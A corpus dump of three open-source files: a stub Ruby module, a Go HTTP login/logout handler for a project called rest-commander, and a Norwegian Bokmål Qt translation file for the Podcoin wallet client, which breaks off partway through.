require "roadkill/version" module Roadkill # Your code goes here... end
agapered/roadkill
lib/roadkill.rb
Ruby
mit
75
package controller import ( "net/http" "encoding/json" "rest-commander/store" "rest-commander/model/dto" ) type AuthenticationController interface { HandleLogin(w http.ResponseWriter, r *http.Request) HandleLogout(w http.ResponseWriter, r *http.Request) } func (t *AuthenticationRoute) HandleLogin(w http.ResponseWriter, r *http.Request){ var auth dto.LoginRequest err := json.NewDecoder(r.Body).Decode(&auth) if err != nil { http.Error(w, err.Error(), 400) return } if !t.userStore.CheckPassword(auth.Username, auth.Password) { resp := dto.ErrorResponse{ Message: "Username or password are incorrect!", } w.WriteHeader(http.StatusBadRequest) json.NewEncoder(w).Encode(resp) return } token := store.NewAuthenticationToken(auth.Username) t.tokenStore.Add(token) t.userStore.Get(auth.Username).Password = auth.Password resp := dto.LoginResponse{ Token: token.Token, } json.NewEncoder(w).Encode(resp) } func (t *AuthenticationRoute) HandleLogout(w http.ResponseWriter, r *http.Request){ token := GetAuthtokenFromRequest(r) t.tokenStore.Remove(token.Token) }
rainu/rest-commander
server-go/src/rest-commander/controller/auth_handler.go
GO
mit
1,102
<?xml version="1.0" ?><!DOCTYPE TS><TS language="nb" version="2.0"> <defaultcodec>UTF-8</defaultcodec> <context> <name>AboutDialog</name> <message> <location filename="../forms/aboutdialog.ui" line="+14"/> <source>About Podcoin</source> <translation>Om Podcoin</translation> </message> <message> <location line="+39"/> <source>&lt;b&gt;Podcoin&lt;/b&gt; version</source> <translation>&lt;b&gt;Podcoin&lt;/b&gt; versjon</translation> </message> <message> <location line="+57"/> <source> This is experimental software. Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) and cryptographic software written by Eric Young (eay@cryptsoft.com) and UPnP software written by Thomas Bernard.</source> <translation> Dette er eksperimentell programvare. Distribuert under MIT/X11 programvarelisensen, se medfølgende fil COPYING eller http://www.opensource.org/licenses/mit-license.php. Dette produktet inneholder programvare utviklet av OpenSSL prosjektet for bruk i OpenSSL Toolkit (http://www.openssl.org/) og kryptografisk programvare skrevet av Eric Young (eay@cryptsoft.com) og UPnP programvare skrevet av Thomas Bernard.</translation> </message> <message> <location filename="../aboutdialog.cpp" line="+14"/> <source>Copyright</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>The Podcoin developers</source> <translation type="unfinished"/> </message> </context> <context> <name>AddressBookPage</name> <message> <location filename="../forms/addressbookpage.ui" line="+14"/> <source>Address Book</source> <translation>Adressebok</translation> </message> <message> <location line="+19"/> <source>Double-click to edit address or label</source> <translation>Dobbeltklikk for å redigere adresse eller merkelapp</translation> </message> <message> <location line="+27"/> <source>Create a new address</source> <translation>Lag en ny adresse</translation> </message> <message> <location line="+14"/> <source>Copy the currently selected address to the system clipboard</source> <translation>Kopier den valgte adressen til systemets utklippstavle</translation> </message> <message> <location line="-11"/> <source>&amp;New Address</source> <translation>&amp;Ny Adresse</translation> </message> <message> <location filename="../addressbookpage.cpp" line="+63"/> <source>These are your Podcoin addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source> <translation>Dette er dine Podcoin-adresser for mottak av betalinger. Du kan gi forskjellige adresser til alle som skal betale deg for å holde bedre oversikt.</translation> </message> <message> <location filename="../forms/addressbookpage.ui" line="+14"/> <source>&amp;Copy Address</source> <translation>&amp;Kopier Adresse</translation> </message> <message> <location line="+11"/> <source>Show &amp;QR Code</source> <translation>Vis &amp;QR Kode</translation> </message> <message> <location line="+11"/> <source>Sign a message to prove you own a Podcoin address</source> <translation>Signer en melding for å bevise at du eier en Podcoin-adresse</translation> </message> <message> <location line="+3"/> <source>Sign &amp;Message</source> <translation>Signér &amp;Melding</translation> </message> <message> <location line="+25"/> <source>Delete the currently selected address from the list</source> <translation>Slett den valgte adressen fra listen.</translation> </message> <message> <location line="+27"/> <source>Export the data in the current tab to a file</source> <translation>Eksporter data fra nåværende fane til fil</translation> </message> <message> <location line="+3"/> <source>&amp;Export</source> <translation type="unfinished"/> </message> <message> <location line="-44"/> <source>Verify a message to ensure it was signed with a specified Podcoin address</source> <translation>Verifiser en melding for å være sikker på at den ble signert av en angitt Podcoin-adresse</translation> </message> <message> <location line="+3"/> <source>&amp;Verify Message</source> <translation>&amp;Verifiser Melding</translation> </message> <message> <location line="+14"/> <source>&amp;Delete</source> <translation>&amp;Slett</translation> </message> <message> <location filename="../addressbookpage.cpp" line="-5"/> <source>These are your Podcoin addresses for sending payments. Always check the amount and the receiving address before sending coins.</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>Copy &amp;Label</source> <translation>Kopier &amp;Merkelapp</translation> </message> <message> <location line="+1"/> <source>&amp;Edit</source> <translation>&amp;Rediger</translation> </message> <message> <location line="+1"/> <source>Send &amp;Coins</source> <translation>Send &amp;Coins</translation> </message> <message> <location line="+260"/> <source>Export Address Book Data</source> <translation>Eksporter adressebok</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommaseparert fil (*.csv)</translation> </message> <message> <location line="+13"/> <source>Error exporting</source> <translation>Feil ved eksportering</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kunne ikke skrive til filen %1.</translation> </message> </context> <context> <name>AddressTableModel</name> <message> <location filename="../addresstablemodel.cpp" line="+144"/> <source>Label</source> <translation>Merkelapp</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+36"/> <source>(no label)</source> <translation>(ingen merkelapp)</translation> </message> </context> <context> <name>AskPassphraseDialog</name> <message> <location filename="../forms/askpassphrasedialog.ui" line="+26"/> <source>Passphrase Dialog</source> <translation>Dialog for Adgangsfrase</translation> </message> <message> <location line="+21"/> <source>Enter passphrase</source> <translation>Angi adgangsfrase</translation> </message> <message> <location line="+14"/> <source>New passphrase</source> <translation>Ny adgangsfrase</translation> </message> <message> <location line="+14"/> <source>Repeat new passphrase</source> <translation>Gjenta ny adgangsfrase</translation> </message> <message> <location filename="../askpassphrasedialog.cpp" line="+33"/> <source>Enter the new passphrase to the wallet.&lt;br/&gt;Please use a passphrase of &lt;b&gt;10 or more random characters&lt;/b&gt;, or &lt;b&gt;eight or more words&lt;/b&gt;.</source> <translation>Skriv inn den nye adgangsfrasen for lommeboken.&lt;br/&gt;Vennligst bruk en adgangsfrase med &lt;b&gt;10 eller flere tilfeldige tegn&lt;/b&gt;, eller &lt;b&gt;åtte eller flere ord&lt;/b&gt;.</translation> </message> <message> <location line="+1"/> <source>Encrypt wallet</source> <translation>Krypter lommebok</translation> </message> <message> <location line="+3"/> <source>This operation needs your wallet passphrase to unlock the wallet.</source> <translation>Denne operasjonen krever adgangsfrasen til lommeboken for å låse den opp.</translation> </message> <message> <location line="+5"/> <source>Unlock wallet</source> <translation>Lås opp lommebok</translation> </message> <message> <location line="+3"/> <source>This operation needs your wallet passphrase to decrypt the wallet.</source> <translation>Denne operasjonen krever adgangsfrasen til lommeboken for å dekryptere den.</translation> </message> <message> <location line="+5"/> <source>Decrypt wallet</source> <translation>Dekrypter lommebok</translation> </message> <message> <location line="+3"/> <source>Change passphrase</source> <translation>Endre adgangsfrase</translation> </message> <message> <location line="+1"/> <source>Enter the old and new passphrase to the wallet.</source> <translation>Skriv inn gammel og ny adgangsfrase for lommeboken.</translation> </message> <message> <location line="+46"/> <source>Confirm wallet encryption</source> <translation>Bekreft kryptering av lommebok</translation> </message> <message> <location line="+1"/> <source>Warning: If you encrypt your wallet and lose your passphrase, you will &lt;b&gt;LOSE ALL OF YOUR PODCOINS&lt;/b&gt;!</source> <translation>Advarsel: Hvis du krypterer lommeboken og mister adgangsfrasen, så vil du &lt;b&gt;MISTE ALLE DINE PODCOINS&lt;/b&gt;!</translation> </message> <message> <location line="+0"/> <source>Are you sure you wish to encrypt your wallet?</source> <translation>Er du sikker på at du vil kryptere lommeboken?</translation> </message> <message> <location line="+15"/> <source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source> <translation>VIKTIG: Tidligere sikkerhetskopier av din lommebok-fil, bør erstattes med den nylig genererte, krypterte filen, da de blir ugyldiggjort av sikkerhetshensyn så snart du begynner å bruke den nye krypterte lommeboken.</translation> </message> <message> <location line="+100"/> <location line="+24"/> <source>Warning: The Caps Lock key is on!</source> <translation>Advarsel: Caps Lock er på !</translation> </message> <message> <location line="-130"/> <location line="+58"/> <source>Wallet encrypted</source> <translation>Lommebok kryptert</translation> </message> <message> <location line="-56"/> <source>Podcoin will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your podcoins from being stolen by malware infecting your computer.</source> <translation>Podcoin vil nå lukkes for å fullføre krypteringsprosessen. Husk at kryptering av lommeboken ikke fullt ut kan beskytte dine podcoins fra å bli stjålet om skadevare infiserer datamaskinen.</translation> </message> <message> <location line="+13"/> <location line="+7"/> <location line="+42"/> <location line="+6"/> <source>Wallet encryption failed</source> <translation>Kryptering av lommebok feilet</translation> </message> <message> <location line="-54"/> <source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source> <translation>Kryptering av lommebok feilet på grunn av en intern feil. Din lommebok ble ikke kryptert.</translation> </message> <message> <location line="+7"/> <location line="+48"/> <source>The supplied passphrases do not match.</source> <translation>De angitte adgangsfrasene er ulike.</translation> </message> <message> <location line="-37"/> <source>Wallet unlock failed</source> <translation>Opplåsing av lommebok feilet</translation> </message> <message> <location line="+1"/> <location line="+11"/> <location line="+19"/> <source>The passphrase entered for the wallet decryption was incorrect.</source> <translation>Adgangsfrasen angitt for dekryptering av lommeboken var feil.</translation> </message> <message> <location line="-20"/> <source>Wallet decryption failed</source> <translation>Dekryptering av lommebok feilet</translation> </message> <message> <location line="+14"/> <source>Wallet passphrase was successfully changed.</source> <translation>Adgangsfrase for lommebok endret.</translation> </message> </context> <context> <name>BitcoinGUI</name> <message> <location filename="../bitcoingui.cpp" line="+233"/> <source>Sign &amp;message...</source> <translation>Signer &amp;melding...</translation> </message> <message> <location line="+280"/> <source>Synchronizing with network...</source> <translation>Synkroniserer med nettverk...</translation> </message> <message> <location line="-349"/> <source>&amp;Overview</source> <translation>&amp;Oversikt</translation> </message> <message> <location line="+1"/> <source>Show general overview of wallet</source> <translation>Vis generell oversikt over lommeboken</translation> </message> <message> <location line="+20"/> <source>&amp;Transactions</source> <translation>&amp;Transaksjoner</translation> </message> <message> <location line="+1"/> <source>Browse transaction history</source> <translation>Vis transaksjonshistorikk</translation> </message> <message> <location line="+7"/> <source>Edit the list of stored addresses and labels</source> <translation>Rediger listen over adresser og deres merkelapper</translation> </message> <message> <location line="-14"/> <source>Show the list of addresses for receiving payments</source> <translation>Vis listen over adresser for mottak av betalinger</translation> </message> <message> <location line="+31"/> <source>E&amp;xit</source> <translation>&amp;Avslutt</translation> </message> <message> <location line="+1"/> <source>Quit application</source> <translation>Avslutt applikasjonen</translation> </message> <message> <location line="+4"/> <source>Show information about Podcoin</source> <translation>Vis informasjon om Podcoin</translation> </message> <message> <location line="+2"/> <source>About &amp;Qt</source> <translation>Om &amp;Qt</translation> </message> <message> <location line="+1"/> <source>Show information about Qt</source> <translation>Vis informasjon om Qt</translation> </message> <message> <location line="+2"/> <source>&amp;Options...</source> <translation>&amp;Innstillinger...</translation> </message> <message> <location line="+6"/> <source>&amp;Encrypt Wallet...</source> <translation>&amp;Krypter Lommebok...</translation> </message> <message> <location line="+3"/> <source>&amp;Backup Wallet...</source> <translation>Lag &amp;Sikkerhetskopi av Lommebok...</translation> </message> <message> <location line="+2"/> <source>&amp;Change Passphrase...</source> <translation>&amp;Endre Adgangsfrase...</translation> </message> <message> <location line="+285"/> <source>Importing blocks from disk...</source> <translation>Importere blokker...</translation> </message> <message> <location line="+3"/> <source>Reindexing blocks on disk...</source> <translation>Re-indekserer blokker på disk...</translation> </message> <message> <location line="-347"/> <source>Send coins to a Podcoin address</source> <translation>Send til en Podcoin-adresse</translation> </message> <message> <location line="+49"/> <source>Modify configuration options for Podcoin</source> <translation>Endre oppsett for Podcoin</translation> </message> <message> <location line="+9"/> <source>Backup wallet to another location</source> <translation>Sikkerhetskopiér lommebok til annet sted</translation> </message> <message> <location line="+2"/> <source>Change the passphrase used for wallet encryption</source> <translation>Endre adgangsfrasen brukt for kryptering av lommebok</translation> </message> <message> <location line="+6"/> <source>&amp;Debug window</source> <translation>&amp;Feilsøkingsvindu</translation> </message> <message> <location line="+1"/> <source>Open debugging and diagnostic console</source> <translation>Åpne konsoll for feilsøk og diagnostikk</translation> </message> <message> <location line="-4"/> <source>&amp;Verify message...</source> <translation>&amp;Verifiser melding...</translation> </message> <message> <location line="-165"/> <location line="+530"/> <source>Podcoin</source> <translation>Podcoin</translation> </message> <message> <location line="-530"/> <source>Wallet</source> <translation>Lommebok</translation> </message> <message> <location line="+101"/> <source>&amp;Send</source> <translation>&amp;Send</translation> </message> <message> <location line="+7"/> <source>&amp;Receive</source> <translation>&amp;Motta</translation> </message> <message> <location line="+14"/> <source>&amp;Addresses</source> <translation>&amp;Adressebok</translation> </message> <message> <location line="+22"/> <source>&amp;About Podcoin</source> <translation>&amp;Om Podcoin</translation> </message> <message> <location line="+9"/> <source>&amp;Show / Hide</source> <translation>&amp;Gjem / vis</translation> </message> <message> <location line="+1"/> <source>Show or hide the main Window</source> <translation>Vis eller skjul hovedvinduet</translation> </message> <message> <location line="+3"/> <source>Encrypt the private keys that belong to your wallet</source> <translation>Krypter de private nøklene som tilhører lommeboken din</translation> </message> <message> <location line="+7"/> <source>Sign messages with your Podcoin addresses to prove you own them</source> <translation>Signér en melding for å bevise at du eier denne adressen</translation> </message> <message> <location line="+2"/> <source>Verify messages to ensure they were signed with specified Podcoin addresses</source> <translation>Bekreft meldinger for å være sikker på at de ble signert av en angitt Podcoin-adresse</translation> </message> <message> <location line="+28"/> <source>&amp;File</source> <translation>&amp;Fil</translation> </message> <message> <location line="+7"/> <source>&amp;Settings</source> <translation>&amp;Innstillinger</translation> </message> <message> <location line="+6"/> <source>&amp;Help</source> <translation>&amp;Hjelp</translation> </message> <message> <location line="+9"/> <source>Tabs toolbar</source> <translation>Verktøylinje for faner</translation> </message> <message> <location line="+17"/> <location line="+10"/> <source>[testnet]</source> <translation>[testnett]</translation> </message> <message> <location line="+47"/> <source>Podcoin client</source> <translation>Podcoinklient</translation> </message> <message numerus="yes"> <location line="+141"/> <source>%n active connection(s) to Podcoin network</source> <translation><numerusform>%n aktiv forbindelse til Podcoin-nettverket</numerusform><numerusform>%n aktive forbindelser til Podcoin-nettverket</numerusform></translation> </message> <message> <location line="+22"/> <source>No block source available...</source> <translation type="unfinished"/> </message> <message> <location line="+12"/> <source>Processed %1 of %2 (estimated) blocks of transaction history.</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Processed %1 blocks of transaction history.</source> <translation>Lastet %1 blokker med transaksjonshistorikk.</translation> </message> <message numerus="yes"> <location line="+20"/> <source>%n hour(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n day(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message numerus="yes"> <location line="+4"/> <source>%n week(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+4"/> <source>%1 behind</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Last received block was generated %1 ago.</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Transactions after this will not yet be visible.</source> <translation>Transaksjoner etter dette vil ikke være synlige enda.</translation> </message> <message> <location line="+22"/> <source>Error</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Warning</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Information</source> <translation type="unfinished"/> </message> <message> <location line="+70"/> <source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source> <translation>Denne transaksjonen overstiger størrelsesbegrensningen. Du kan likevel sende den med et gebyr på %1, som går til nodene som prosesserer transaksjonen din og støtter nettverket. Vil du betale gebyret?</translation> </message> <message> <location line="-140"/> <source>Up to date</source> <translation>Ajour</translation> </message> <message> <location line="+31"/> <source>Catching up...</source> <translation>Kommer ajour...</translation> </message> <message> <location line="+113"/> <source>Confirm transaction fee</source> <translation>Bekreft transaksjonsgebyr</translation> </message> <message> <location line="+8"/> <source>Sent transaction</source> <translation>Sendt transaksjon</translation> </message> <message> <location line="+0"/> <source>Incoming transaction</source> <translation>Innkommende transaksjon</translation> </message> <message> <location line="+1"/> <source>Date: %1 Amount: %2 Type: %3 Address: %4 </source> <translation>Dato: %1 Beløp: %2 Type: %3 Adresse: %4 </translation> </message> <message> <location line="+33"/> <location line="+23"/> <source>URI handling</source> <translation>URI håndtering</translation> </message> <message> <location line="-23"/> <location line="+23"/> <source>URI can not be parsed! This can be caused by an invalid Podcoin address or malformed URI parameters.</source> <translation>URI kunne ikke tolkes! Dette kan forårsakes av en ugyldig Podcoin-adresse eller feil i URI-parametere.</translation> </message> <message> <location line="+17"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;unlocked&lt;/b&gt;</source> <translation>Lommeboken er &lt;b&gt;kryptert&lt;/b&gt; og for tiden &lt;b&gt;ulåst&lt;/b&gt;</translation> </message> <message> <location line="+8"/> <source>Wallet is &lt;b&gt;encrypted&lt;/b&gt; and currently &lt;b&gt;locked&lt;/b&gt;</source> <translation>Lommeboken er &lt;b&gt;kryptert&lt;/b&gt; og for tiden &lt;b&gt;låst&lt;/b&gt;</translation> </message> <message> <location filename="../bitcoin.cpp" line="+111"/> <source>A fatal error occurred. Podcoin can no longer continue safely and will quit.</source> <translation>En fatal feil har inntruffet. Det er ikke trygt å fortsette og Podcoin må derfor avslutte.</translation> </message> </context> <context> <name>ClientModel</name> <message> <location filename="../clientmodel.cpp" line="+104"/> <source>Network Alert</source> <translation>Nettverksvarsel</translation> </message> </context> <context> <name>EditAddressDialog</name> <message> <location filename="../forms/editaddressdialog.ui" line="+14"/> <source>Edit Address</source> <translation>Rediger adresse</translation> </message> <message> <location line="+11"/> <source>&amp;Label</source> <translation>&amp;Merkelapp</translation> </message> <message> <location line="+10"/> <source>The label associated with this address book entry</source> <translation>Merkelappen koblet til denne adressen i adresseboken</translation> </message> <message> <location line="+7"/> <source>&amp;Address</source> <translation>&amp;Adresse</translation> </message> <message> <location line="+10"/> <source>The address associated with this address book entry. This can only be modified for sending addresses.</source> <translation>Adressen til denne oppføringen i adresseboken. Denne kan kun endres for utsendingsadresser.</translation> </message> <message> <location filename="../editaddressdialog.cpp" line="+21"/> <source>New receiving address</source> <translation>Ny mottaksadresse</translation> </message> <message> <location line="+4"/> <source>New sending address</source> <translation>Ny utsendingsadresse</translation> </message> <message> <location line="+3"/> <source>Edit receiving address</source> <translation>Rediger mottaksadresse</translation> </message> <message> <location line="+4"/> <source>Edit sending address</source> <translation>Rediger utsendingsadresse</translation> </message> <message> <location line="+76"/> <source>The entered address &quot;%1&quot; is already in the address book.</source> <translation>Den oppgitte adressen &quot;%1&quot; er allerede i adresseboken.</translation> </message> <message> <location line="-5"/> <source>The entered address &quot;%1&quot; is not a valid Podcoin address.</source> <translation>Den angitte adressed &quot;%1&quot; er ikke en gyldig Podcoin-adresse.</translation> </message> <message> <location line="+10"/> <source>Could not unlock wallet.</source> <translation>Kunne ikke låse opp lommeboken.</translation> </message> <message> <location line="+5"/> <source>New key generation failed.</source> <translation>Generering av ny nøkkel feilet.</translation> </message> </context> <context> <name>GUIUtil::HelpMessageBox</name> <message> <location filename="../guiutil.cpp" line="+424"/> <location line="+12"/> <source>Podcoin-Qt</source> <translation>Podcoin-Qt</translation> </message> <message> <location line="-12"/> <source>version</source> <translation>versjon</translation> </message> <message> <location line="+2"/> <source>Usage:</source> <translation>Bruk:</translation> </message> <message> <location line="+1"/> <source>command-line options</source> <translation>kommandolinjevalg</translation> </message> <message> <location line="+4"/> <source>UI options</source> <translation>valg i brukergrensesnitt</translation> </message> <message> <location line="+1"/> <source>Set language, for example &quot;de_DE&quot; (default: system locale)</source> <translation>Sett språk, for eksempel &quot;nb_NO&quot; (standardverdi: fra operativsystem)</translation> </message> <message> <location line="+1"/> <source>Start minimized</source> <translation>Start minimert </translation> </message> <message> <location line="+1"/> <source>Show splash screen on startup (default: 1)</source> <translation>Vis splashskjerm ved oppstart (standardverdi: 1)</translation> </message> </context> <context> <name>OptionsDialog</name> <message> <location filename="../forms/optionsdialog.ui" line="+14"/> <source>Options</source> <translation>Innstillinger</translation> </message> <message> <location line="+16"/> <source>&amp;Main</source> <translation>&amp;Hoved</translation> </message> <message> <location line="+6"/> <source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB.</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Pay transaction &amp;fee</source> <translation>Betal transaksjons&amp;gebyr</translation> </message> <message> <location line="+31"/> <source>Automatically start Podcoin after logging in to the system.</source> <translation>Start Podcoin automatisk etter innlogging.</translation> </message> <message> <location line="+3"/> <source>&amp;Start Podcoin on system login</source> <translation>&amp;Start Podcoin ved systeminnlogging</translation> </message> <message> <location line="+35"/> <source>Reset all client options to default.</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>&amp;Reset Options</source> <translation type="unfinished"/> </message> <message> <location line="+13"/> <source>&amp;Network</source> <translation>&amp;Nettverk</translation> </message> <message> <location line="+6"/> <source>Automatically open the Podcoin client port on the router. This only works when your router supports UPnP and it is enabled.</source> <translation>Åpne automatisk Podcoin klientporten på ruteren. Dette virker kun om din ruter støtter UPnP og dette er påslått.</translation> </message> <message> <location line="+3"/> <source>Map port using &amp;UPnP</source> <translation>Sett opp port vha. &amp;UPnP</translation> </message> <message> <location line="+7"/> <source>Connect to the Podcoin network through a SOCKS proxy (e.g. when connecting through Tor).</source> <translation>Koble til Podcoin-nettverket gjennom en SOCKS proxy (f.eks. ved tilkobling gjennom Tor).</translation> </message> <message> <location line="+3"/> <source>&amp;Connect through SOCKS proxy:</source> <translation>&amp;Koble til gjenom SOCKS proxy:</translation> </message> <message> <location line="+9"/> <source>Proxy &amp;IP:</source> <translation>Proxy &amp;IP:</translation> </message> <message> <location line="+19"/> <source>IP address of the proxy (e.g. 127.0.0.1)</source> <translation>IP-adresse for mellomtjener (f.eks. 127.0.0.1)</translation> </message> <message> <location line="+7"/> <source>&amp;Port:</source> <translation>&amp;Port:</translation> </message> <message> <location line="+19"/> <source>Port of the proxy (e.g. 9050)</source> <translation>Proxyens port (f.eks. 9050)</translation> </message> <message> <location line="+7"/> <source>SOCKS &amp;Version:</source> <translation>SOCKS &amp;Versjon:</translation> </message> <message> <location line="+13"/> <source>SOCKS version of the proxy (e.g. 5)</source> <translation>Proxyens SOCKS versjon (f.eks. 5)</translation> </message> <message> <location line="+36"/> <source>&amp;Window</source> <translation>&amp;Vindu</translation> </message> <message> <location line="+6"/> <source>Show only a tray icon after minimizing the window.</source> <translation>Vis kun ikon i systemkurv etter minimering av vinduet.</translation> </message> <message> <location line="+3"/> <source>&amp;Minimize to the tray instead of the taskbar</source> <translation>&amp;Minimer til systemkurv istedenfor oppgavelinjen</translation> </message> <message> <location line="+7"/> <source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source> <translation>Minimerer vinduet istedenfor å avslutte applikasjonen når vinduet lukkes. Når dette er slått på avsluttes applikasjonen kun ved å velge avslutt i menyen.</translation> </message> <message> <location line="+3"/> <source>M&amp;inimize on close</source> <translation>M&amp;inimer ved lukking</translation> </message> <message> <location line="+21"/> <source>&amp;Display</source> <translation>&amp;Visning</translation> </message> <message> <location line="+8"/> <source>User Interface &amp;language:</source> <translation>&amp;Språk for brukergrensesnitt</translation> </message> <message> <location line="+13"/> <source>The user interface language can be set here. This setting will take effect after restarting Podcoin.</source> <translation>Språket for brukergrensesnittet kan settes her. Innstillingen trer i kraft ved omstart av Podcoin.</translation> </message> <message> <location line="+11"/> <source>&amp;Unit to show amounts in:</source> <translation>&amp;Enhet for visning av beløper:</translation> </message> <message> <location line="+13"/> <source>Choose the default subdivision unit to show in the interface and when sending coins.</source> <translation>Velg standard delt enhet for visning i grensesnittet og for sending av podcoins.</translation> </message> <message> <location line="+9"/> <source>Whether to show Podcoin addresses in the transaction list or not.</source> <translation>Om Podcoin-adresser skal vises i transaksjonslisten eller ikke.</translation> </message> <message> <location line="+3"/> <source>&amp;Display addresses in transaction list</source> <translation>&amp;Vis adresser i transaksjonslisten</translation> </message> <message> <location line="+71"/> <source>&amp;OK</source> <translation>&amp;OK</translation> </message> <message> <location line="+7"/> <source>&amp;Cancel</source> <translation>&amp;Avbryt</translation> </message> <message> <location line="+10"/> <source>&amp;Apply</source> <translation>&amp;Bruk</translation> </message> <message> <location filename="../optionsdialog.cpp" line="+53"/> <source>default</source> <translation>standardverdi</translation> </message> <message> <location line="+130"/> <source>Confirm options reset</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Some settings may require a client restart to take effect.</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Do you want to proceed?</source> <translation type="unfinished"/> </message> <message> <location line="+42"/> <location line="+9"/> <source>Warning</source> <translation>Advarsel</translation> </message> <message> <location line="-9"/> <location line="+9"/> <source>This setting will take effect after restarting Podcoin.</source> <translation>Denne innstillingen trer i kraft etter omstart av Podcoin.</translation> </message> <message> <location line="+29"/> <source>The supplied proxy address is invalid.</source> <translation>Angitt proxyadresse er ugyldig.</translation> </message> </context> <context> <name>OverviewPage</name> <message> <location filename="../forms/overviewpage.ui" line="+14"/> <source>Form</source> <translation>Skjema</translation> </message> <message> <location line="+50"/> <location line="+166"/> <source>The displayed information may be out of date. Your wallet automatically synchronizes with the Podcoin network after a connection is established, but this process has not completed yet.</source> <translation>Informasjonen som vises kan være foreldet. Din lommebok synkroniseres automatisk med Podcoin-nettverket etter at tilkobling er opprettet, men denne prosessen er ikke ferdig enda.</translation> </message> <message> <location line="-124"/> <source>Balance:</source> <translation>Saldo:</translation> </message> <message> <location line="+29"/> <source>Unconfirmed:</source> <translation>Ubekreftet</translation> </message> <message> <location line="-78"/> <source>Wallet</source> <translation>Lommebok</translation> </message> <message> <location line="+107"/> <source>Immature:</source> <translation>Umoden:</translation> </message> <message> <location line="+13"/> <source>Mined balance that has not yet matured</source> <translation>Minet saldo har ikke modnet enda</translation> </message> <message> <location line="+46"/> <source>&lt;b&gt;Recent transactions&lt;/b&gt;</source> <translation>&lt;b&gt;Siste transaksjoner&lt;/b&gt;</translation> </message> <message> <location line="-101"/> <source>Your current balance</source> <translation>Din nåværende saldo</translation> </message> <message> <location line="+29"/> <source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source> <translation>Totalt antall ubekreftede transaksjoner som ikke telles med i saldo enda</translation> </message> <message> <location filename="../overviewpage.cpp" line="+116"/> <location line="+1"/> <source>out of sync</source> <translation>ute av synk</translation> </message> </context> <context> <name>PaymentServer</name> <message> <location filename="../paymentserver.cpp" line="+107"/> <source>Cannot start podcoin: click-to-pay handler</source> <translation>Kan ikke starte podcoin: klikk-og-betal håndterer</translation> </message> </context> <context> <name>QRCodeDialog</name> <message> <location filename="../forms/qrcodedialog.ui" line="+14"/> <source>QR Code Dialog</source> <translation>Dialog for QR Kode</translation> </message> <message> <location line="+59"/> <source>Request Payment</source> <translation>Etterspør Betaling</translation> </message> <message> <location line="+56"/> <source>Amount:</source> <translation>Beløp:</translation> </message> <message> <location line="-44"/> <source>Label:</source> <translation>Merkelapp:</translation> </message> <message> <location line="+19"/> <source>Message:</source> <translation>Melding:</translation> </message> <message> <location line="+71"/> <source>&amp;Save As...</source> <translation>&amp;Lagre Som...</translation> </message> <message> <location filename="../qrcodedialog.cpp" line="+62"/> <source>Error encoding URI into QR Code.</source> <translation>Feil ved koding av URI i QR kode.</translation> </message> <message> <location line="+40"/> <source>The entered amount is invalid, please check.</source> <translation>Angitt beløp er ugyldig.</translation> </message> <message> <location line="+23"/> <source>Resulting URI too long, try to reduce the text for label / message.</source> <translation>Resulterende URI for lang, prøv å redusere teksten for merkelapp / melding.</translation> </message> <message> <location line="+25"/> <source>Save QR Code</source> <translation>Lagre QR Kode</translation> </message> <message> <location line="+0"/> <source>PNG Images (*.png)</source> <translation>PNG bilder (*.png)</translation> </message> </context> <context> <name>RPCConsole</name> <message> <location filename="../forms/rpcconsole.ui" line="+46"/> <source>Client name</source> <translation>Klientnavn</translation> </message> <message> <location line="+10"/> <location line="+23"/> <location line="+26"/> <location line="+23"/> <location line="+23"/> <location line="+36"/> <location line="+53"/> <location line="+23"/> <location line="+23"/> <location filename="../rpcconsole.cpp" line="+339"/> <source>N/A</source> <translation>-</translation> </message> <message> <location line="-217"/> <source>Client version</source> <translation>Klientversjon</translation> </message> <message> <location line="-45"/> <source>&amp;Information</source> <translation>&amp;Informasjon</translation> </message> <message> <location line="+68"/> <source>Using OpenSSL version</source> <translation>Bruker OpenSSL versjon</translation> </message> <message> <location line="+49"/> <source>Startup time</source> <translation>Oppstartstidspunkt</translation> </message> <message> <location line="+29"/> <source>Network</source> <translation>Nettverk</translation> </message> <message> <location line="+7"/> <source>Number of connections</source> <translation>Antall tilkoblinger</translation> </message> <message> <location line="+23"/> <source>On testnet</source> <translation>På testnett</translation> </message> <message> <location line="+23"/> <source>Block chain</source> <translation>Blokkjeden</translation> </message> <message> <location line="+7"/> <source>Current number of blocks</source> <translation>Nåværende antall blokker</translation> </message> <message> <location line="+23"/> 